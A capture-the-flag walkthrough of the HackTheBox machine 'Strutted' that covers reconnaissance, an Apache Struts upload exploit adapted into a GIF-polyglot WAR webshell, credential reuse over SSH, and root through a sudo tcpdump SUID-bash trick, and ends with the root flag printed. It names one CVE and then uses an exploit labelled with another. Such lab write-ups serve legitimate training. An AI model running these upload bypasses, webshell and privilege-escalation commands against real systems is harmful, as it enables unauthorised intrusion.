Strutted
This machine is based on Public Exploit !
Machine Link | Strutted |
---|---|
Operating System | Linux |
Difficulty | Medium |
Machine Created by | TheCyberGeekΒ & 7u9y |
Port Scan Results ‡οΈ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ββ$ nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.10.11.59
Nmap scan report for 10.10.11.59
Host is up, received echo-reply ttl 63 (0.51s latency).
Scanned at 2025-07-09 15:05:24 IST for 2353s
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Did not follow redirect to http://strutted.htb/
2905/tcp filtered m3ua no-response
17760/tcp filtered unknown no-response
21637/tcp filtered unknown no-response
22000/tcp filtered snapenetio no-response
23904/tcp filtered unknown no-response
24679/tcp filtered unknown no-response
29746/tcp filtered unknown no-response
34169/tcp filtered unknown no-response
48645/tcp filtered unknown no-response
49516/tcp filtered unknown no-response
60089/tcp filtered unknown no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration ‡οΈ
First I need to set the domain name into the /etc/hosts
file as strutted.htb as it get loaded while browsing for port 80.
Let check port 80 and from there lets enumerate further π»
Port 80 which is an upload image site
Here this image indicates to download the Docker image file for this site that is very much can be helpful because it can tell the source code of this site or any hidden credentials in it.
After Download I get these files π»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
ββ$ tree
.
βββ context.xml
βββ Dockerfile
βββ README.md
βββ strutted
βΒ Β βββ mvnw
βΒ Β βββ mvnw.cmd
βΒ Β βββ pom.xml
βΒ Β βββ src
βΒ Β βΒ Β βββ main
βΒ Β βΒ Β βββ java
βΒ Β βΒ Β βΒ Β βββ org
βΒ Β βΒ Β βΒ Β βββ strutted
βΒ Β βΒ Β βΒ Β βββ htb
βΒ Β βΒ Β βΒ Β βββ AboutAction.java
βΒ Β βΒ Β βΒ Β βββ DatabaseUtil.java
βΒ Β βΒ Β βΒ Β βββ HowAction.java
βΒ Β βΒ Β βΒ Β βββ Upload.java
βΒ Β βΒ Β βΒ Β βββ URLMapping.java
βΒ Β βΒ Β βΒ Β βββ URLUtil.java
βΒ Β βΒ Β βββ resources
βΒ Β βΒ Β βΒ Β βββ struts.xml
βΒ Β βΒ Β βββ webapp
βΒ Β βΒ Β βββ WEB-INF
βΒ Β βΒ Β βββ about.jsp
βΒ Β βΒ Β βββ error.jsp
βΒ Β βΒ Β βββ how.jsp
βΒ Β βΒ Β βββ showImage.jsp
βΒ Β βΒ Β βββ success.jsp
βΒ Β βΒ Β βββ upload.jsp
βΒ Β βΒ Β βββ web.xml
βΒ Β βββ target
βΒ Β βββ classes
βΒ Β βΒ Β βββ org
βΒ Β βΒ Β βΒ Β βββ strutted
βΒ Β βΒ Β βΒ Β βββ htb
βΒ Β βΒ Β βΒ Β βββ AboutAction.class
βΒ Β βΒ Β βΒ Β βββ DatabaseUtil.class
βΒ Β βΒ Β βΒ Β βββ HowAction.class
βΒ Β βΒ Β βΒ Β βββ Upload.class
βΒ Β βΒ Β βΒ Β βββ URLMapping.class
βΒ Β βΒ Β βΒ Β βββ URLUtil.class
βΒ Β βΒ Β βββ struts.xml
βΒ Β βββ generated-sources
βΒ Β βΒ Β βββ annotations
βΒ Β βββ maven-archiver
βΒ Β βΒ Β βββ pom.properties
βΒ Β βββ maven-status
βΒ Β βΒ Β βββ maven-compiler-plugin
βΒ Β βΒ Β βββ compile
βΒ Β βΒ Β βββ default-compile
βΒ Β βΒ Β βββ createdFiles.lst
βΒ Β βΒ Β βββ inputFiles.lst
βΒ Β βββ strutted-1.0.0
βΒ Β βΒ Β βββ META-INF
βΒ Β βΒ Β βββ WEB-INF
βΒ Β βΒ Β βββ about.jsp
βΒ Β βΒ Β βββ classes
βΒ Β βΒ Β βΒ Β βββ org
βΒ Β βΒ Β βΒ Β βΒ Β βββ strutted
βΒ Β βΒ Β βΒ Β βΒ Β βββ htb
βΒ Β βΒ Β βΒ Β βΒ Β βββ AboutAction.class
βΒ Β βΒ Β βΒ Β βΒ Β βββ DatabaseUtil.class
βΒ Β βΒ Β βΒ Β βΒ Β βββ HowAction.class
βΒ Β βΒ Β βΒ Β βΒ Β βββ Upload.class
βΒ Β βΒ Β βΒ Β βΒ Β βββ URLMapping.class
βΒ Β βΒ Β βΒ Β βΒ Β βββ URLUtil.class
βΒ Β βΒ Β βΒ Β βββ struts.xml
βΒ Β βΒ Β βββ error.jsp
βΒ Β βΒ Β βββ how.jsp
βΒ Β βΒ Β βββ lib
βΒ Β βΒ Β βΒ Β βββ commons-fileupload-1.5.jar
βΒ Β βΒ Β βΒ Β βββ commons-io-2.13.0.jar
βΒ Β βΒ Β βΒ Β βββ commons-lang3-3.13.0.jar
βΒ Β βΒ Β βΒ Β βββ commons-text-1.10.0.jar
βΒ Β βΒ Β βΒ Β βββ freemarker-2.3.32.jar
βΒ Β βΒ Β βΒ Β βββ javassist-3.29.0-GA.jar
βΒ Β βΒ Β βΒ Β βββ javax.servlet-api-4.0.1.jar
βΒ Β βΒ Β βΒ Β βββ log4j-api-2.20.0.jar
βΒ Β βΒ Β βΒ Β βββ ognl-3.3.4.jar
βΒ Β βΒ Β βΒ Β βββ sqlite-jdbc-3.47.1.0.jar
βΒ Β βΒ Β βΒ Β βββ struts2-core-6.3.0.1.jar
βΒ Β βΒ Β βββ success.jsp
βΒ Β βΒ Β βββ upload.jsp
βΒ Β βΒ Β βββ web.xml
βΒ Β βββ strutted-1.0.0.war
βββ tomcat-users.xml
31 directories, 56 files
Now lets do some digging into finding out some credentials / versions / upload site functionalities like that from these files.
I got some functionalities from Dockerfile
π½
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ββ$ cat Dockerfile
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine
RUN apk add --no-cache maven
COPY strutted /tmp/strutted
WORKDIR /tmp/strutted
RUN mvn clean package
FROM tomcat:9.0
RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]
Also I got the versions from stratted/pom.xml
file π»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
βββ(kaliπ₯kali)-[~/Downloads/HTB/Strutted]
ββ$ cat strutted/pom.xml
....
...
..
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
....
...
..
This signifies that this site is running struts version 6.3.0.1 lets look for similar version exploits ‡οΈ
I got the exploit that CVE-2024-53677 Now lets find out some pocβs exploit s through githubs π»
I got this exploit β¬οΈ
CVE-2023-50164-Apache-Struts-RCE
In this exploit I particularly need to change 3 things β¬
1οΈβ£ Adjust path depth for the upload path
The upload path on the server is:
1
File/<TimeStamp>/uploads/ROOT/webapps
To ensure your traversal or path-handling code reaches the correct location, you need to set:
1
NUMBER_OF_PARENTS_IN_PATH = 5
This tells your script how many
../
(or parent folders) it needs to navigate when working with the uploaded payload so it lands correctly inside thewebapps
directory for your WAR file deployment.
2οΈβ£ Prep your WAR file as a GIF polyglot
To bypass file-type filters on the upload functionality, you convert your WAR shell into a GIF polyglot.
A polyglot file can satisfy multiple file format signatures, tricking the upload filter to accept your WAR file as a GIF while still executing as a WAR on the server.
You do this by prepending the GIF signature
GIF89a;
to your WAR file content:1 2
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read() war_file_content = b"GIF89a;" + war_file_content
Why it works: The filter sees
GIF89a
and allows the upload, but the serverβs Java engine will still process the underlying WAR structure.
3οΈβ£ Modify upload headers and file naming
To complete the bypass:
Change your HTTP upload Content-Type header from:
1
application/octet-stream
to:
1
image/gif
Rename your uploaded file to use a
.gif
extension to match the declared content type (helps bypass filters relying on extensions).
Your upload code will look like:
1
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("filename.gif", war_file_content, "image/gif")
This ensures:
The upload filter accepts your file thinking itβs a GIF.
The server stores it in the correct location.
The Java server will later parse and execute the WAR payload inside, granting you shell access.
Now lets run this modified exploit with the upload path π»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ββ$ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > whoami
tomcat
CMD > id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
CMD > pwd
/var/lib/tomcat9
CMD > ls -al
total 20
drwxr-xr-x 5 root root 4096 Jul 10 04:01 .
drwxr-xr-x 41 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 12 Jul 20 2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root root 17 Jul 20 2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root root 4096 Jul 10 04:01 policy
drwxrwxr-x 4 tomcat tomcat 4096 Jul 10 04:55 webapps
lrwxrwxrwx 1 root root 19 Jul 20 2022 work -> ../../cache/tomcat9
CMD >
I am inside a webshell
lets enumerate for any data/credentials from here π»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
CMD > ls conf
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
CMD >
CMD > cat conf/tomcat-users.xml
....
...
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="**********" roles="manager-gui,admin-gui"/>
--->
.....
...
CMD >
I got a password Lets see on which users I can used it on π»
File
/etc/passwd
tells about the users present in the system
Lets try ssh on user james with the found password π»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ββ$ ssh james@strutted.htb
The authenticity of host 'strutted.htb (10.10.11.59)' cant be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:69: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'strutted.htb' (ED25519) to the list of known hosts.
james@strutted.htbs password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Jul 10 04:59:59 AM UTC 2025
System load: 0.0
Usage of /: 69.5% of 5.81GB
Memory usage: 9%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for eth0: 10.10.11.59
IPv6 address for eth0: dead:beef::250:56ff:fe94:945d
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
james@strutted:~$
Lets elevate the privileges with exploiting tcpdump
tool for this I will be using gtfobin
to exploit this π»
GTFOBIN exploit code for
tcpdump
tool for sudo allowed user
I have just changed 1 thing that I have changed the bash permissions to give it as SUID permissions like this π½
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
james@strutted:~$ COMMAND='chmod u+s /bin/bash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
james@strutted:~$ bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james),27(sudo)
bash-5.1# cd /root
bash-5.1# ls -al
total 32
drwx------ 5 root root 4096 Jul 10 04:05 .
drwxr-xr-x 18 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Jan 16 10:55 .cache
drwxr-xr-x 3 root root 4096 Jan 16 10:55 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Jul 10 04:05 root.txt
drwx------ 2 root root 4096 Jan 15 14:30 .ssh
bash-5.1# cat root.txt
42691514885782f9b6e66c26fadd6503
bash-5.1#
I am root user now !!
If you have any questions or suggestions, please leave a comment below. Thank You !